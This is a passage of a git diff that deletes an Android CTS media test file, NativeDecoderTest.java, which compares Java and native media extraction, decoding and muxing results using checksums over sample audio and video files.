--- a/tests/tests/media/src/android/media/cts/NativeDecoderTest.java
+++ /dev/null
@@ -1,1100 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.content.res.AssetFileDescriptor;
-import android.media.MediaCodec;
-import android.media.MediaCodec.BufferInfo;
-import android.media.MediaExtractor;
-import android.media.MediaFormat;
-import android.media.MediaPlayer;
-import android.media.cts.TestUtils.Monitor;
-import android.net.Uri;
-import android.os.Build;
-import android.os.ParcelFileDescriptor;
-import android.platform.test.annotations.AppModeFull;
-import android.platform.test.annotations.Presubmit;
-import android.platform.test.annotations.RequiresDevice;
-import android.util.Log;
-import android.view.Surface;
-import android.webkit.cts.CtsTestServer;
-
-import androidx.test.filters.SmallTest;
-
-import com.android.compatibility.common.util.ApiLevelUtil;
-import com.android.compatibility.common.util.MediaUtils;
-
-import org.apache.http.Header;
-import org.apache.http.HttpRequest;
-import org.apache.http.impl.DefaultHttpServerConnection;
-import org.apache.http.impl.io.SocketOutputBuffer;
-import org.apache.http.io.SessionOutputBuffer;
-import org.apache.http.params.HttpParams;
-import org.apache.http.util.CharArrayBuffer;
-
-import java.io.File;
-import java.io.FileDescriptor;
-import java.io.FileNotFoundException;
-import java.io.IOException;
-import java.net.Socket;
-import java.nio.ByteBuffer;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.HashMap;
-import java.util.Map;
-import java.util.Set;
-import java.util.UUID;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-import java.util.zip.Adler32;
-
-@SmallTest
-@RequiresDevice
-@AppModeFull(reason = "TODO: evaluate and port to instant")
-public class NativeDecoderTest extends MediaPlayerTestBase {
-    private static final String TAG = "DecoderTest";
-
-    private static final int RESET_MODE_NONE = 0;
-    private static final int RESET_MODE_RECONFIGURE = 1;
-    private static final int RESET_MODE_FLUSH = 2;
-    private static final int RESET_MODE_EOS_FLUSH = 3;
-
-    private static final String[] CSD_KEYS = new String[] { "csd-0", "csd-1" };
-
-    private static final int CONFIG_MODE_NONE = 0;
-    private static final int CONFIG_MODE_QUEUE = 1;
-
-    private static boolean sIsAtLeastS = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S);
-
-    static final String mInpPrefix = WorkDir.getMediaDirString();
-    short[] mMasterBuffer;
-
-    /** Load jni on initialization */
-    static {
-        Log.i("@@@", "before loadlibrary");
-        System.loadLibrary("ctsmediacodec_jni");
-        Log.i("@@@", "after loadlibrary");
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-    }
-
-    // check that native extractor behavior matches java extractor
-
-    private void compareArrays(String message, int[] a1, int[] a2) {
-        if (a1 == a2) {
-            return;
-        }
-
-        assertNotNull(message + ": array 1 is null", a1);
-        assertNotNull(message + ": array 2 is null", a2);
-
-        assertEquals(message + ": arraylengths differ", a1.length, a2.length);
-        int length = a1.length;
-
-        for (int i = 0; i < length; i++)
-            if (a1[i] != a2[i]) {
-                Log.i("@@@@", Arrays.toString(a1));
-                Log.i("@@@@", Arrays.toString(a2));
-                fail(message + ": at index " + i);
-            }
-    }
-
-    public void SKIP_testExtractor() throws Exception {
-        // duplicate of CtsMediaV2TestCases:ExtractorTest$FunctionalityTest#testExtract where
-        // checksum is computed over track format attributes, track buffer and buffer
-        // info in both SDK and NDK side and checked for equality
-        testExtractor("sinesweepogg.ogg");
-        testExtractor("sinesweepoggmkv.mkv");
-        testExtractor("sinesweepoggmp4.mp4");
-        testExtractor("sinesweepmp3lame.mp3");
-        testExtractor("sinesweepmp3smpb.mp3");
-        testExtractor("sinesweepopus.mkv");
-        testExtractor("sinesweepopusmp4.mp4");
-        testExtractor("sinesweepm4a.m4a");
-        testExtractor("sinesweepflacmkv.mkv");
-        testExtractor("sinesweepflac.flac");
-        testExtractor("sinesweepflacmp4.mp4");
-        testExtractor("sinesweepwav.wav");
-
-        testExtractor("video_1280x720_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
-        testExtractor("bbb_s3_1280x720_webm_vp8_8mbps_60fps_opus_6ch_384kbps_48000hz.webm");
-        testExtractor("bbb_s4_1280x720_webm_vp9_0p31_4mbps_30fps_opus_stereo_128kbps_48000hz.webm");
-        testExtractor("video_1280x720_webm_av1_2000kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
-        testExtractor("video_176x144_3gp_h263_300kbps_12fps_aac_mono_24kbps_11025hz.3gp");
-        testExtractor("video_480x360_mp4_mpeg2_1500kbps_30fps_aac_stereo_128kbps_48000hz.mp4");
-        testExtractor("video_480x360_mp4_mpeg4_860kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
-
-        CtsTestServer foo = new CtsTestServer(mContext);
-        testExtractor(foo.getAssetUrl("noiseandchirps.ogg"), null, null);
-        testExtractor(foo.getAssetUrl("ringer.mp3"), null, null);
-        testExtractor(foo.getRedirectingAssetUrl("ringer.mp3"), null, null);
-
-        String[] keys = new String[] {"header0", "header1"};
-        String[] values = new String[] {"value0", "value1"};
-        testExtractor(foo.getAssetUrl("noiseandchirps.ogg"), keys, values);
-        HttpRequest req = foo.getLastRequest("noiseandchirps.ogg");
-        for (int i = 0; i < keys.length; i++) {
-            String key = keys[i];
-            String value = values[i];
-            Header[] header = req.getHeaders(key);
-            assertTrue("expecting " + key + ":" + value + ", saw " + Arrays.toString(header),
-                    header.length == 1 && header[0].getValue().equals(value));
-        }
-
-        String[] emptyArray = new String[0];
-        testExtractor(foo.getAssetUrl("noiseandchirps.ogg"), emptyArray, emptyArray);
-    }
-
-    /**
-     * |keys| and |values| should be arrays of the same length.
-     *
-     * If keys or values is null, test {@link MediaExtractor#setDataSource(String)}
-     * and NDK counter part, i.e. set data source without headers.
-     *
-     * If keys or values is zero length, test {@link MediaExtractor#setDataSource(String, Map))}
-     * and NDK counter part with null headers.
-     *
-     */
-    private void testExtractor(String path, String[] keys, String[] values) throws Exception {
-        int[] jsizes = getSampleSizes(path, keys, values);
-        int[] nsizes = getSampleSizesNativePath(path, keys, values, /* testNativeSource = */ false);
-        int[] nsizes2 = getSampleSizesNativePath(path, keys, values, /* testNativeSource = */ true);
-
-        compareArrays("different samplesizes", jsizes, nsizes);
-        compareArrays("different samplesizes native source", jsizes, nsizes2);
-    }
-
-    protected static AssetFileDescriptor getAssetFileDescriptorFor(final String res)
-            throws FileNotFoundException {
-        Preconditions.assertTestFileExists(mInpPrefix + res);
-        File inpFile = new File(mInpPrefix + res);
-        ParcelFileDescriptor parcelFD =
-                ParcelFileDescriptor.open(inpFile, ParcelFileDescriptor.MODE_READ_ONLY);
-        return new AssetFileDescriptor(parcelFD, 0, parcelFD.getStatSize());
-    }
-
-    private void testExtractor(final String res) throws Exception {
-        AssetFileDescriptor fd = getAssetFileDescriptorFor(res);
-
-        int[] jsizes = getSampleSizes(
-                fd.getFileDescriptor(), fd.getStartOffset(), fd.getLength());
-        int[] nsizes = getSampleSizesNative(
-                fd.getParcelFileDescriptor().getFd(), fd.getStartOffset(), fd.getLength());
-
-        fd.close();
-        compareArrays("different samples", jsizes, nsizes);
-    }
-
-    private static int[] getSampleSizes(String path, String[] keys, String[] values) throws IOException {
-        MediaExtractor ex = new MediaExtractor();
-        if (keys == null || values == null) {
-            ex.setDataSource(path);
-        } else {
-            Map<String, String> headers = null;
-            int numheaders = Math.min(keys.length, values.length);
-            for (int i = 0; i < numheaders; i++) {
-                if (headers == null) {
-                    headers = new HashMap<>();
-                }
-                String key = keys[i];
-                String value = values[i];
-                headers.put(key, value);
-            }
-            ex.setDataSource(path, headers);
-        }
-
-        return getSampleSizes(ex);
-    }
-
-    private static int[] getSampleSizes(FileDescriptor fd, long offset, long size)
-            throws IOException {
-        MediaExtractor ex = new MediaExtractor();
-        ex.setDataSource(fd, offset, size);
-        return getSampleSizes(ex);
-    }
-
-    private static int[] getSampleSizes(MediaExtractor ex) {
-        ArrayList<Integer> foo = new ArrayList<Integer>();
-        ByteBuffer buf = ByteBuffer.allocate(1024*1024);
-        int numtracks = ex.getTrackCount();
-        assertTrue("no tracks", numtracks > 0);
-        foo.add(numtracks);
-        for (int i = 0; i < numtracks; i++) {
-            MediaFormat format = ex.getTrackFormat(i);
-            String mime = format.getString(MediaFormat.KEY_MIME);
-            if (mime.startsWith("audio/")) {
-                foo.add(0);
-                foo.add(format.getInteger(MediaFormat.KEY_SAMPLE_RATE));
-                foo.add(format.getInteger(MediaFormat.KEY_CHANNEL_COUNT));
-                foo.add((int)format.getLong(MediaFormat.KEY_DURATION));
-            } else if (mime.startsWith("video/")) {
-                foo.add(1);
-                foo.add(format.getInteger(MediaFormat.KEY_WIDTH));
-                foo.add(format.getInteger(MediaFormat.KEY_HEIGHT));
-                foo.add((int)format.getLong(MediaFormat.KEY_DURATION));
-            } else {
-                fail("unexpected mime type: " + mime);
-            }
-            ex.selectTrack(i);
-        }
-        while(true) {
-            int n = ex.readSampleData(buf, 0);
-            if (n < 0) {
-                break;
-            }
-            foo.add(n);
-            foo.add(ex.getSampleTrackIndex());
-            foo.add(ex.getSampleFlags());
-            foo.add((int)ex.getSampleTime()); // just the low bits should be OK
-            byte foobar[] = new byte[n];
-            buf.get(foobar, 0, n);
-            foo.add((int)adler32(foobar));
-            ex.advance();
-        }
-
-        int [] ret = new int[foo.size()];
-        for (int i = 0; i < ret.length; i++) {
-            ret[i] = foo.get(i);
-        }
-        return ret;
-    }
-
-    private static native int[] getSampleSizesNative(int fd, long offset, long size);
-    private static native int[] getSampleSizesNativePath(
-            String path, String[] keys, String[] values, boolean testNativeSource);
-
-    @Presubmit
-    public void SKIP_testExtractorFileDurationNative() throws Exception {
-        // duplicate of CtsMediaV2TestCases:ExtractorTest$FunctionalityTest#testExtract where
-        // checksum is computed over track format attributes, track buffer and buffer
-        // info in both SDK and NDK side and checked for equality. KEY_DURATION for each track is
-        // part of the checksum.
-        testExtractorFileDurationNative(
-                "video_1280x720_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
-    }
-
-    private void testExtractorFileDurationNative(final String res) throws Exception {
-        AssetFileDescriptor fd = getAssetFileDescriptorFor(res);
-        long durationUs = getExtractorFileDurationNative(
-                fd.getParcelFileDescriptor().getFd(), fd.getStartOffset(), fd.getLength());
-
-        MediaExtractor ex = new MediaExtractor();
-        ex.setDataSource(fd.getFileDescriptor(), fd.getStartOffset(), fd.getLength());
-
-        int numtracks = ex.getTrackCount();
-        long aDurationUs = -1, vDurationUs = -1;
-        for (int i = 0; i < numtracks; i++) {
-            MediaFormat format = ex.getTrackFormat(i);
-            String mime = format.getString(MediaFormat.KEY_MIME);
-            if (mime.startsWith("audio/")) {
-                aDurationUs = format.getLong(MediaFormat.KEY_DURATION);
-            } else if (mime.startsWith("video/")) {
-                vDurationUs = format.getLong(MediaFormat.KEY_DURATION);
-            }
-        }
-
-        assertTrue("duration inconsistency",
-                durationUs < 0 || durationUs >= aDurationUs && durationUs >= vDurationUs);
-
-    }
-
-    private static native long getExtractorFileDurationNative(int fd, long offset, long size);
-
-    @Presubmit
-    public void SKIP_testExtractorCachedDurationNative() throws Exception {
-        // duplicate of CtsMediaV2TestCases:ExtractorTest$SetDataSourceTest#testDataSourceNative
-        CtsTestServer foo = new CtsTestServer(mContext);
-        String url = foo.getAssetUrl("ringer.mp3");
-        long cachedDurationUs = getExtractorCachedDurationNative(url, /* testNativeSource = */ false);
-        assertTrue("cached duration negative", cachedDurationUs >= 0);
-        cachedDurationUs = getExtractorCachedDurationNative(url, /* testNativeSource = */ true);
-        assertTrue("cached duration negative native source", cachedDurationUs >= 0);
-    }
-
-    private static native long getExtractorCachedDurationNative(String uri, boolean testNativeSource);
-
-    public void SKIP_testDecoder() throws Exception {
-        // duplicate of CtsMediaV2TestCases:CodecDecoderTest#testSimpleDecode where checksum  is
-        // computed over decoded output in both SDK and NDK side and checked for equality.
-        int testsRun =
-            testDecoder("sinesweepogg.ogg") +
-            testDecoder("sinesweepoggmkv.mkv") +
-            testDecoder("sinesweepoggmp4.mp4") +
-            testDecoder("sinesweepmp3lame.mp3") +
-            testDecoder("sinesweepmp3smpb.mp3") +
-            testDecoder("sinesweepopus.mkv") +
-            testDecoder("sinesweepopusmp4.mp4") +
-            testDecoder("sinesweepm4a.m4a") +
-            testDecoder("sinesweepflacmkv.mkv") +
-            testDecoder("sinesweepflac.flac") +
-            testDecoder("sinesweepflacmp4.mp4") +
-            testDecoder("sinesweepwav.wav") +
-            testDecoder("video_1280x720_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4") +
-            testDecoder("bbb_s1_640x360_webm_vp8_2mbps_30fps_vorbis_5ch_320kbps_48000hz.webm") +
-            testDecoder("bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm") +
-            testDecoder("video_176x144_3gp_h263_300kbps_12fps_aac_mono_24kbps_11025hz.3gp") +
-            testDecoder("video_480x360_mp4_mpeg2_1500kbps_30fps_aac_stereo_128kbps_48000hz.mp4");
-            testDecoder("video_480x360_mp4_mpeg4_860kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
-        if (testsRun == 0) {
-            MediaUtils.skipTest("no decoders found");
-        }
-    }
-
-    public void testDataSource() throws Exception {
-        int testsRun = testDecoder(
-                "video_176x144_3gp_h263_300kbps_12fps_aac_mono_24kbps_11025hz.3gp", /* wrapFd */
-                true, /* useCallback */ false);
-        if (testsRun == 0) {
-            MediaUtils.skipTest("no decoders found");
-        }
-    }
-
-    public void testDataSourceAudioOnly() throws Exception {
-        int testsRun = testDecoder(
-                "loudsoftmp3.mp3",
-                /* wrapFd */ true, /* useCallback */ false) +
-                testDecoder(
-                        "loudsoftaac.aac",
-                        /* wrapFd */ false, /* useCallback */ false);
-        if (testsRun == 0) {
-            MediaUtils.skipTest("no decoders found");
-        }
-    }
-
-    public void testDataSourceWithCallback() throws Exception {
-        int testsRun = testDecoder(
-                "video_176x144_3gp_h263_300kbps_12fps_aac_mono_24kbps_11025hz.3gp",/* wrapFd */
-                true, /* useCallback */ true);
-        if (testsRun == 0) {
-            MediaUtils.skipTest("no decoders found");
-        }
-    }
-
-    private int testDecoder(final String res) throws Exception {
-        return testDecoder(res, /* wrapFd */ false, /* useCallback */ false);
-    }
-
-    private int testDecoder(final String res, boolean wrapFd, boolean useCallback)
-            throws Exception {
-        Preconditions.assertTestFileExists(mInpPrefix + res);
-        if (!MediaUtils.hasCodecsForResource(mInpPrefix  + res)) {
-            return 0; // skip
-        }
-
-        AssetFileDescriptor fd = getAssetFileDescriptorFor(res);
-
-        int[] jdata1 = getDecodedData(
-                fd.getFileDescriptor(), fd.getStartOffset(), fd.getLength());
-        int[] jdata2 = getDecodedData(
-                fd.getFileDescriptor(), fd.getStartOffset(), fd.getLength());
-        int[] ndata1 = getDecodedDataNative(
-                fd.getParcelFileDescriptor().getFd(), fd.getStartOffset(), fd.getLength(), wrapFd,
-                useCallback);
-        int[] ndata2 = getDecodedDataNative(
-                fd.getParcelFileDescriptor().getFd(), fd.getStartOffset(), fd.getLength(), wrapFd,
-                useCallback);
-
-        fd.close();
-        compareArrays("inconsistent java decoder", jdata1, jdata2);
-        compareArrays("inconsistent native decoder", ndata1, ndata2);
-        compareArrays("different decoded data", jdata1, ndata1);
-        return 1;
-    }
-
-    private static int[] getDecodedData(FileDescriptor fd, long offset, long size)
-            throws IOException {
-        MediaExtractor ex = new MediaExtractor();
-        ex.setDataSource(fd, offset, size);
-        return getDecodedData(ex);
-    }
-    private static int[] getDecodedData(MediaExtractor ex) throws IOException {
-        int numtracks = ex.getTrackCount();
-        assertTrue("no tracks", numtracks > 0);
-        ArrayList<Integer>[] trackdata = new ArrayList[numtracks];
-        MediaCodec[] codec = new MediaCodec[numtracks];
-        MediaFormat[] format = new MediaFormat[numtracks];
-        ByteBuffer[][] inbuffers = new ByteBuffer[numtracks][];
-        ByteBuffer[][] outbuffers = new ByteBuffer[numtracks][];
-        for (int i = 0; i < numtracks; i++) {
-            format[i] = ex.getTrackFormat(i);
-            String mime = format[i].getString(MediaFormat.KEY_MIME);
-            if (mime.startsWith("audio/") || mime.startsWith("video/")) {
-                codec[i] = MediaCodec.createDecoderByType(mime);
-                codec[i].configure(format[i], null, null, 0);
-                codec[i].start();
-                inbuffers[i] = codec[i].getInputBuffers();
-                outbuffers[i] = codec[i].getOutputBuffers();
-                trackdata[i] = new ArrayList<Integer>();
-            } else {
-                fail("unexpected mime type: " + mime);
-            }
-            ex.selectTrack(i);
-        }
-
-        boolean[] sawInputEOS = new boolean[numtracks];
-        boolean[] sawOutputEOS = new boolean[numtracks];
-        int eosCount = 0;
-        BufferInfo info = new BufferInfo();
-        while(eosCount < numtracks) {
-            int t = ex.getSampleTrackIndex();
-            if (t >= 0) {
-                assertFalse("saw input EOS twice", sawInputEOS[t]);
-                int bufidx = codec[t].dequeueInputBuffer(5000);
-                if (bufidx >= 0) {
-                    Log.i("@@@@", "track " + t + " buffer " + bufidx);
-                    ByteBuffer buf = inbuffers[t][bufidx];
-                    int sampleSize = ex.readSampleData(buf, 0);
-                    Log.i("@@@@", "read " + sampleSize + " @ " + ex.getSampleTime());
-                    if (sampleSize < 0) {
-                        sampleSize = 0;
-                        sawInputEOS[t] = true;
-                        Log.i("@@@@", "EOS");
-                        //break;
-                    }
-                    long presentationTimeUs = ex.getSampleTime();
-
-                    codec[t].queueInputBuffer(bufidx, 0, sampleSize, presentationTimeUs,
-                            sawInputEOS[t] ? MediaCodec.BUFFER_FLAG_END_OF_STREAM : 0);
-                    ex.advance();
-                }
-            } else {
-                Log.i("@@@@", "no more input samples");
-                for (int tt = 0; tt < codec.length; tt++) {
-                    if (!sawInputEOS[tt]) {
-                        // we ran out of samples without ever signaling EOS to the codec,
-                        // so do that now
-                        int bufidx = codec[tt].dequeueInputBuffer(5000);
-                        if (bufidx >= 0) {
-                            codec[tt].queueInputBuffer(bufidx, 0, 0, 0,
-                                    MediaCodec.BUFFER_FLAG_END_OF_STREAM);
-                            sawInputEOS[tt] = true;
-                        }
-                    }
-                }
-            }
-
-            // see if any of the codecs have data available
-            for (int tt = 0; tt < codec.length; tt++) {
-                if (!sawOutputEOS[tt]) {
-                    int status = codec[tt].dequeueOutputBuffer(info, 1);
-                    if (status >= 0) {
-                        if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
-                            Log.i("@@@@", "EOS on track " + tt);
-                            sawOutputEOS[tt] = true;
-                            eosCount++;
-                        }
-                        Log.i("@@@@", "got decoded buffer for track " + tt + ", size " + info.size);
-                        if (info.size > 0) {
-                            addSampleData(trackdata[tt], outbuffers[tt][status], info.size, format[tt]);
-                        }
-                        codec[tt].releaseOutputBuffer(status, false);
-                    } else if (status == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
-                        Log.i("@@@@", "output buffers changed for track " + tt);
-                        outbuffers[tt] = codec[tt].getOutputBuffers();
-                    } else if (status == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
-                        format[tt] = codec[tt].getOutputFormat();
-                        Log.i("@@@@", "format changed for track " + t + ": " + format[tt].toString());
-                    } else if (status == MediaCodec.INFO_TRY_AGAIN_LATER) {
-                        Log.i("@@@@", "no buffer right now for track " + tt);
-                    } else {
-                        Log.i("@@@@", "unexpected info code for track " + tt + ": " + status);
-                    }
-                } else {
-                    Log.i("@@@@", "already at EOS on track " + tt);
-                }
-            }
-        }
-
-        int totalsize = 0;
-        for (int i = 0; i < numtracks; i++) {
-            totalsize += trackdata[i].size();
-        }
-        int[] trackbytes = new int[totalsize];
-        int idx = 0;
-        for (int i = 0; i < numtracks; i++) {
-            ArrayList<Integer> src = trackdata[i];
-            int tracksize = src.size();
-            for (int j = 0; j < tracksize; j++) {
-                trackbytes[idx++] = src.get(j);
-            }
-        }
-
-        for (int i = 0; i < codec.length; i++) {
-            codec[i].release();
-        }
-
-        return trackbytes;
-    }
-
-    static void addSampleData(ArrayList<Integer> dst,
-            ByteBuffer buf, int size, MediaFormat format) throws IOException{
-
-        Log.i("@@@", "addsample " + dst.size() + "/" + size);
-        int width = format.getInteger(MediaFormat.KEY_WIDTH, size);
-        int stride = format.getInteger(MediaFormat.KEY_STRIDE, width);
-        int height = format.getInteger(MediaFormat.KEY_HEIGHT, 1);
-        byte[] bb = new byte[width * height];
-        int offset = buf.position();
-        for (int i = 0; i < height; i++) {
-            buf.position(i * stride + offset);
-            buf.get(bb, i * width, width);
-        }
-        // bb is filled with data
-        long sum = adler32(bb);
-        dst.add( (int) (sum & 0xffffffff));
-    }
-
-    private final static Adler32 checksummer = new Adler32(); 
-    // simple checksum computed over every decoded buffer
-    static int adler32(byte[] input) {
-        checksummer.reset();
-        checksummer.update(input);
-        int ret = (int) checksummer.getValue();
-        Log.i("@@@", "adler " + input.length + "/" + ret);
-        return ret;
-    }
-
-    private static native int[] getDecodedDataNative(int fd, long offset, long size, boolean wrapFd,
-            boolean useCallback)
-            throws IOException;
-
-    public void SKIP_testVideoPlayback() throws Exception {
-        // duplicate of
-        // CtsMediaV2TestCases:CodecDecoderSurfaceTest#testSimpleDecodeToSurfaceNative[*]
-        int testsRun =
-            testVideoPlayback(
-                    "video_1280x720_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4") +
-            testVideoPlayback(
-                    "bbb_s1_640x360_webm_vp8_2mbps_30fps_vorbis_5ch_320kbps_48000hz.webm") +
-            testVideoPlayback(
-                    "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm") +
-            testVideoPlayback(
-                    "video_640x360_webm_av1_470kbps_30fps_vorbis_stereo_128kbps_48000hz.webm") +
-            testVideoPlayback(
-                    "video_176x144_3gp_h263_300kbps_12fps_aac_mono_24kbps_11025hz.3gp") +
-            testVideoPlayback(
-                    "video_176x144_mp4_mpeg2_105kbps_25fps_aac_stereo_128kbps_44100hz.mp4") +
-            testVideoPlayback(
-                    "video_480x360_mp4_mpeg4_860kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
-        if (testsRun == 0) {
-            MediaUtils.skipTest("no decoders found");
-        }
-    }
-
-    private int testVideoPlayback(final String res) throws Exception {
-        Preconditions.assertTestFileExists(mInpPrefix + res);
-        if (!MediaUtils.checkCodecsForResource(mInpPrefix + res)) {
-            return 0; // skip
-        }
-
-        AssetFileDescriptor fd = getAssetFileDescriptorFor(res);
-
-        boolean ret = testPlaybackNative(mActivity.getSurfaceHolder().getSurface(),
-                fd.getParcelFileDescriptor().getFd(), fd.getStartOffset(), fd.getLength());
-        assertTrue("native playback error", ret);
-        return 1;
-    }
-
-    private static native boolean testPlaybackNative(Surface surface,
-            int fd, long startOffset, long length);
-
-    @Presubmit
-    @NonMediaMainlineTest
-    public void testMuxerAvc() throws Exception {
-        // IMPORTANT: this file must not have B-frames
-        testMuxer("video_1280x720_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4", false);
-    }
-
-    @NonMediaMainlineTest
-    public void testMuxerH263() throws Exception {
-        // IMPORTANT: this file must not have B-frames
-        testMuxer("video_176x144_3gp_h263_300kbps_25fps_aac_stereo_128kbps_11025hz.3gp", false);
-    }
-
-    @NonMediaMainlineTest
-    public void testMuxerHevc() throws Exception {
-        // IMPORTANT: this file must not have B-frames
-        testMuxer("video_640x360_mp4_hevc_450kbps_no_b.mp4", false);
-    }
-
-    @NonMediaMainlineTest
-    public void testMuxerVp8() throws Exception {
-        testMuxer("bbb_s1_640x360_webm_vp8_2mbps_30fps_vorbis_5ch_320kbps_48000hz.webm", true);
-    }
-
-    @NonMediaMainlineTest
-    public void testMuxerVp9() throws Exception {
-        testMuxer("video_1280x720_webm_vp9_csd_309kbps_25fps_vorbis_stereo_128kbps_48000hz.webm",
-                true);
-    }
-
-    @NonMediaMainlineTest
-    public void testMuxerVp9NoCsd() throws Exception {
-        testMuxer("bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm",
-                true);
-    }
-
-    @NonMediaMainlineTest
-    public void testMuxerVp9Hdr() throws Exception {
-        testMuxer("video_256x144_webm_vp9_hdr_83kbps_24fps.webm", true);
-    }
-
-    // We do not support MPEG-2 muxing as of yet
-    public void SKIP_testMuxerMpeg2() throws Exception {
-        // IMPORTANT: this file must not have B-frames
-        testMuxer("video_176x144_mp4_mpeg2_105kbps_25fps_aac_stereo_128kbps_44100hz.mp4", false);
-    }
-
-    @NonMediaMainlineTest
-    public void testMuxerMpeg4() throws Exception {
-        // IMPORTANT: this file must not have B-frames
-        testMuxer("video_176x144_mp4_mpeg4_300kbps_25fps_aac_stereo_128kbps_44100hz.mp4", false);
-    }
-
-    private void testMuxer(final String res, boolean webm) throws Exception {
-        Preconditions.assertTestFileExists(mInpPrefix + res);
-        if (!MediaUtils.checkCodecsForResource(mInpPrefix + res)) {
-            return; // skip
-        }
-
-        AssetFileDescriptor infd = getAssetFileDescriptorFor(res);
-
-        File base = mContext.getExternalFilesDir(null);
-        String tmpFile = base.getPath() + "/tmp.dat";
-        Log.i("@@@", "using tmp file " + tmpFile);
-        new File(tmpFile).delete();
-        ParcelFileDescriptor out = ParcelFileDescriptor.open(new File(tmpFile),
-                ParcelFileDescriptor.MODE_READ_WRITE | ParcelFileDescriptor.MODE_CREATE);
-
-        assertTrue("muxer failed", testMuxerNative(
-                infd.getParcelFileDescriptor().getFd(), infd.getStartOffset(), infd.getLength(),
-                out.getFd(), webm));
-
-        // compare the original with the remuxed
-        MediaExtractor org = new MediaExtractor();
-        org.setDataSource(infd.getFileDescriptor(),
-                infd.getStartOffset(), infd.getLength());
-
-        MediaExtractor remux = new MediaExtractor();
-        remux.setDataSource(out.getFileDescriptor());
-
-        assertEquals("mismatched numer of tracks", org.getTrackCount(), remux.getTrackCount());
-        // allow duration mismatch for webm files as ffmpeg does not consider the duration of the
-        // last frame while libwebm (and our framework) does.
-        final long maxDurationDiffUs = webm ? 50000 : 0; // 50ms for webm
-        for (int i = 0; i < org.getTrackCount(); i++) {
-            MediaFormat format1 = org.getTrackFormat(i);
-            MediaFormat format2 = remux.getTrackFormat(i);
-            Log.i("@@@", "org: " + format1);
-            Log.i("@@@", "remux: " + format2);
-            assertTrue("different formats", compareFormats(format1, format2, maxDurationDiffUs));
-        }
-
-        org.release();
-        remux.release();
-
-        Preconditions.assertTestFileExists(mInpPrefix + res);
-        MediaPlayer player1 =
-                MediaPlayer.create(mContext, Uri.fromFile(new File(mInpPrefix + res)));
-        MediaPlayer player2 = MediaPlayer.create(mContext, Uri.parse("file://" + tmpFile));
-        assertEquals("duration is different",
-                     player1.getDuration(), player2.getDuration(), maxDurationDiffUs * 0.001);
-        player1.release();
-        player2.release();
-        new File(tmpFile).delete();
-    }
-
-    private String hexString(ByteBuffer buf) {
-        if (buf == null) {
-            return "(null)";
-        }
-        final char digits[] =
-            { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f' };
-
-        StringBuilder hex = new StringBuilder();
-        for (int i = buf.position(); i < buf.limit(); ++i) {
-            byte c = buf.get(i);
-            hex.append(digits[(c >> 4) & 0xf]);
-            hex.append(digits[c & 0xf]);
-        }
-        return hex.toString();
-    }
-
-    /** returns: null if key is in neither formats, true if they match and false otherwise */
-    private Boolean compareByteBufferInFormats(MediaFormat f1, MediaFormat f2, String key) {
-        ByteBuffer bufF1 = f1.containsKey(key) ? f1.getByteBuffer(key) : null;
-        ByteBuffer bufF2 = f2.containsKey(key) ? f2.getByteBuffer(key) : null;
-        if (bufF1 == null && bufF2 == null) {
-            return null;
-        }
-        if (bufF1 == null || !bufF1.equals(bufF2)) {
-            Log.i("@@@", "org " + key + ": " + hexString(bufF1));
-            Log.i("@@@", "rmx " + key + ": " + hexString(bufF2));
-            return false;
-        }
-        return true;
-    }
-
-    private boolean compareFormats(MediaFormat f1, MediaFormat f2, long maxDurationDiffUs) {
-        final String KEY_DURATION = MediaFormat.KEY_DURATION;
-
-        // allow some difference in durations
-        if (maxDurationDiffUs > 0
-                && f1.containsKey(KEY_DURATION) && f2.containsKey(KEY_DURATION)
-                && Math.abs(f1.getLong(KEY_DURATION)
-                        - f2.getLong(KEY_DURATION)) <= maxDurationDiffUs) {
-            f2.setLong(KEY_DURATION, f1.getLong(KEY_DURATION));
-        }
-
-        // verify hdr-static-info
-        if (Boolean.FALSE.equals(compareByteBufferInFormats(f1, f2, "hdr-static-info"))) {
-            return false;
-        }
-
-        // verify CSDs
-        for (int i = 0;; ++i) {
-            String key = "csd-" + i;
-            Boolean match = compareByteBufferInFormats(f1, f2, key);
-            if (match == null) {
-                break;
-            } else if (match == false) {
-                return false;
-            }
-        }
-
-        // before S, mpeg4 writers jammed a fixed SAR value into the output;
-        // this was fixed in S
-        if (!sIsAtLeastS) {
-            if (f1.containsKey(MediaFormat.KEY_PIXEL_ASPECT_RATIO_HEIGHT)
-                            && f2.containsKey(MediaFormat.KEY_PIXEL_ASPECT_RATIO_HEIGHT)) {
-                f2.setInteger(MediaFormat.KEY_PIXEL_ASPECT_RATIO_HEIGHT,
-                                f1.getInteger(MediaFormat.KEY_PIXEL_ASPECT_RATIO_HEIGHT));
-            }
-            if (f1.containsKey(MediaFormat.KEY_PIXEL_ASPECT_RATIO_WIDTH)
